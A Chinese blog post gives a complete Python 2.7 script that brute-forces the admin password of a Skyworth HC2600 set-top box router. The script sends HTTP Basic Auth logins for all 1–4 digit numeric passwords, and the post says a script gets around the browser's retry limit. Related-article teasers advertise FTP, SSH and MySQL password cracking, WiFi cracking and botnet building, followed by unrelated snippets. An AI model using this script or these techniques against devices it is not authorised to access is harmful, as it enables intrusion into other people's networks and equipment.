[小技巧] Python 脚本暴力破解 HC2600 机顶盒管理密码
家里最近接入了广电有线电视,配了三个创维 HC2600 机顶盒,并且每个机顶盒还带有无线路由器功能。
免费赠送 Internet 接入服务倒也没什么,不过机顶盒内置的 WIFI 实在有点寒酸:只支持 2.4 GHz 频段下 802.11n 150 Mbps 速率的传输。2.4 GHz 频段本来就很拥挤,用户体验并不好,要是和支持 802.11 ac 的双频无线路由器混用的话,恐怕反而会因为干扰起到反作用。
然而要对 HC2600 机顶盒作任何配置修改,都需要管理员密码。网上搜索到 HC2600 的管理员用户名貌似是 admin (后来证实也的确如此),但是密码则无法确定。
所以我就编写了一个 Python 脚本进行暴力尝试。破解步骤如下:
首先把电脑通过网线连接到机顶盒的 Ethernet 接口,电脑会通过 DHCP 自动获取得到 IP 地址。
然后安装最新版的 Python 2.7,并且新建一个文件 tvbox.py 输入以下内容:
import base64, socket, urllib2 def login(url, username, password):
while True:
try:
request1 = urllib2.Request(url)
response1 = urllib2.urlopen(request1, timeout = 2) # 2 seconds
except socket.timeout, e: # timeout handler for Python 2.7
print "Login timedout"
continue
except urllib2.URLError, e:
if e.code != 401:
raise
else:
break while True:
try:
request2 = urllib2.Request(url)
base64string = base64.encodestring('%s:%s' % (username, password)).replace('\n', '')
request2.add_header("Authorization", "Basic %s" % base64string)
response2 = urllib2.urlopen(request2, timeout = 2) # 2 seconds
return True
except socket.timeout, e: # timeout handler for Python 2.7
print "Login timedout"
continue
except urllib2.URLError, e:
if e.code == 401:
return False def main():
for length in range(1, 5):
end = 10 ** length print "Trying length %d (start = 0, end = %d)" % (length, end) for i in range(0, end):
pattern = "%%0%dd" % length
password = pattern % i if login("http://192.168.99.1", "admin", password):
print "Password found: %s" % password
break
else:
print "%s" % password main()
上面的文件中,假定机顶盒中路由器的地址是 192.168.99.1,如果你的配置不同,需要修改 tvbox.py 中第 41 行代码。
确定无误后,运行 tvbox.py 即可。
上面的脚本尝试了 0-9、00-99、000-999、0000-9999 这 11110 个纯数字密码,目测破解速度在每秒 100 次左右。
PS:如果使用浏览器尝试登录,密码错误三次后需要刷新才能继续尝试。这是浏览器设定的限制,使用脚本的话并没有这样的限制。
……
结果出乎意料,很快密码就出来了:0000,多亏了安装人员图省事。要是真的要扫遍 8 位纯数字密码的所有可能性,恐怕要花十几天。
小提示:上面的脚本只适用于 Python 2.7,如果你用的是其它版本,可能需要对代码做少许修改。
[小技巧] Python 脚本暴力破解 HC2600 机顶盒管理密码的更多相关文章
- Python脚本暴力破解FTP口令(ftplib)
		
目录 判断FTP服务器是否允许匿名登录 暴力破解FTP口令 列出FTP目录内的网页文件 综合 环境:Windows python2.7.15 ftplib模块是python下用于ftp服务的模块 . ...
 - Python脚本暴力破解SSH口令以及构建僵尸网络(pxssh)
		
目录 暴力破解SSH口令 SSH远端执行命令 构建僵尸网络 环境:Kali Linux python 2.7.13 暴力破解SSH口令 Pxssh是pexpect库的ssh专用脚本,他能用预先写好的 ...
 - XAMPP、PHPstorm和PHPcharm和Windows环境下Python搭建+暴力破解
		
XAMPP的安装和使用 一.什么是XAMPP? XAMPP是最流行的PHP开发环境. XAMPP是完全免费且易于安装的Apache发行版,其中包含Apache.MariaDB.PHP和Perl. 类似 ...
 - 安天透过北美DDoS事件解读IoT设备安全——Mirai的主要感染对象是linux物联网设备,包括:路由器、网络摄像头、DVR设备,入侵主要通过telnet端口进行流行密码档暴力破解,或默认密码登陆,下载DDoS功能的bot,运行控制物联网设备
		
安天透过北美DDoS事件解读IoT设备安全 安天安全研究与应急处理中心(安天CERT)在北京时间10月22日下午启动高等级分析流程,针对美国东海岸DNS服务商Dyn遭遇DDoS攻击事件进行了跟进分析. ...
 - Python脚本自动化破解大白鲨摄像头(Shodan)
		
关于本文的技术知识点,Shodan模块的用法,传送门--> Python中shadon模块的使用 Shodan的使用 今天我们要利用python进行自动化破解的摄像头叫大白鲨摄像头,他的 ...
 - Python最新暴力破解WiFi,攻破所有密码限制,最强破解!
		
暴力破解wifi密码 这个代码也是非常简单,这里需要用Python中的pywifi这个库,所以需要在DOS命令下安装这个库,同样使用pip install pywifi,很简单就安装成功了,我用的是P ...
 - 如何假装黑客,使用python去批量破解朋友的网站密码
		
前言 文的文字及图片来源于网络,仅供学习.交流使用,不具有任何商业用途,版权归原作者所有,如有问题请及时联系我们以作处理. PS:如有需要Python学习资料的小伙伴可以加点击下方链接自行获取http ...
 - Linux系列:Ubuntu/fedora实用小技巧—禁止自动锁屏、设置免密码自动登录、免密码执行sudo操作
		
首先声明:该文虽以Ubuntu 13.04为例,同样适用于Fedora 17(已测试),但在较低版本的Ubuntu下可能有所差异,具体看后面的注意事项. 技巧目录: 解决Ubuntu下每隔几分钟自动锁 ...
 - python 编写暴力破解mysql用户名密码
		
本文摘自别人的,自己运行调试了一下#!/user/bin/env python#-*- coding:utf-8 -*- import pymysql#导入连接数据库的模块import sys cla ...
 
随机推荐
- 武汉科技大学ACM:1007: 陶陶摘苹果
			
Problem Description 厘米高的板凳,当她不能直接用手摘到苹果的时候,就会踩到板凳上再试试. 个苹果到地面的高度,以及陶陶把手伸直的时候能够达到的最大高度,请帮陶陶算一下她能够摘到的苹 ...
 - 3D dungeon
			
算法:广搜: 描述 You are trapped in a 3D dungeon and need to find the quickest way out! The dungeon is comp ...
 - [转]机器学习——C4.5 决策树算法学习
			
1. 算法背景介绍 分类树(决策树)是一种十分常用的分类方法.它是一种监管学习,所谓监管学习说白了很简单,就是给定一堆样本,每个样本都有一组属性和一个类别,这些类别是事先确定的,那么通过学习得到一个分 ...
 - html中window对象top 、self 、parent 等属性
			
window对象用法: http://www.w3school.com.cn/htmldom/dom_obj_window.asp top 属性返回最顶层的先辈窗口. 该属性返回对一个顶级窗口的只读引 ...
 - Intellij idea 12和设置快捷键修改(加快项目的开发速度与养成良好习惯)
			
1.为了养成良好的代码习惯idead中的javascript jSLint能显示不良的代码设置如下 2.Intellij idea 12每一次修改,保存生成都要按ctrl+shift+F9非常影 ...
 - 删除MSMQ中的消息队列时"访问被拒绝的错误"
			
删除MSMQ中消息队列时出现 google之,发现也没有找到解决方法,自己在琢磨一下,一般出现这种问题的都是权限问题,因此查看了一下属性,果然如此 此消息队列是使用Windows服务创建的 解决办法: ...
 - Html jquery实现根据 IOS和Android访问跳转
			
<script src="js/jquery-1.7.1.min.js" type="text/javascript"></script> ...
 - Python中的正斜杠与反斜杠
			
首先,"/"左倾斜是正斜杠,"\"右倾斜是反斜杠,可以记为:除号是正斜杠一般来说对于目录分隔符,Unix和Web用正斜杠/,Windows用反斜杠,但是现在Wi ...
 - ubuntu安装aircrack-ng/reaver/minidwep-gtk用来跑pin
			
按照下面安装方法,可以在Ubuntu 13.04中启动 minidwep.Tested with Ubuntu 13.04 1. Dependencies Code: sudo apt-g ...
 - /dev/urandom
			
/dev/urandom则是一个非阻塞的发生器: dev/random的一个副本是/dev/urandom (”unlocked”,非阻塞的随机数发生器),它会重复使用熵池中的数据以产生伪随机数据.这 ...